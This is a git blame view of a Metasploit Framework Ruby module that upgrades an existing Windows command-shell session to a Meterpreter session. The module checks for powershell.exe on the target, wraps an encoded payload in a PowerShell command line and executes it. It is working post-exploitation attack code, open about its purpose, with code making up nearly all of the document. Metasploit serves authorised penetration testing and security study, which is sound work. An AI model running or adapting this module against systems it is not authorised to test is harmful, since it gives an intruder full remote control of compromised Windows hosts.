Files
metasploit-gs/modules/exploits/windows/local/powershell_cmd_upgrade.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

54 lines
1.4 KiB
Ruby
Raw Normal View History

2014-02-02 19:04:38 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2014-02-02 19:04:38 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Local
2014-02-02 19:04:38 +00:00
Rank = ExcellentRanking
include Exploit::Powershell
include Post::File
2025-06-20 13:20:44 +01:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Command Shell Upgrade (Powershell)',
'Description' => %q{
2014-02-02 19:04:38 +00:00
This module executes Powershell to upgrade a Windows Shell session
to a full Meterpreter session.
},
2025-06-20 13:20:44 +01:00
'License' => MSF_LICENSE,
'Author' => [
'Ben Campbell'
],
'DefaultOptions' => {
'WfsDelay' => 10,
},
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '1999-01-01',
2025-06-20 13:20:44 +01:00
'Platform' => [ 'win' ],
'SessionTypes' => [ 'shell' ],
2014-02-02 19:04:38 +00:00
'Targets' => [ [ 'Universal', {} ] ],
'DefaultTarget' => 0,
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2014-02-02 19:04:38 +00:00
end
def exploit
psh_path = "\\WindowsPowerShell\\v1.0\\powershell.exe"
if file? "%WINDIR%\\System32#{psh_path}"
print_status("Executing powershell command line...")
2014-04-19 19:13:48 +01:00
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
cmd_exec(command)
2014-02-02 19:04:38 +00:00
else
2015-04-16 22:04:11 +02:00
fail_with(Failure::NotVulnerable, "No powershell available.")
2014-02-02 19:04:38 +00:00
end
end
end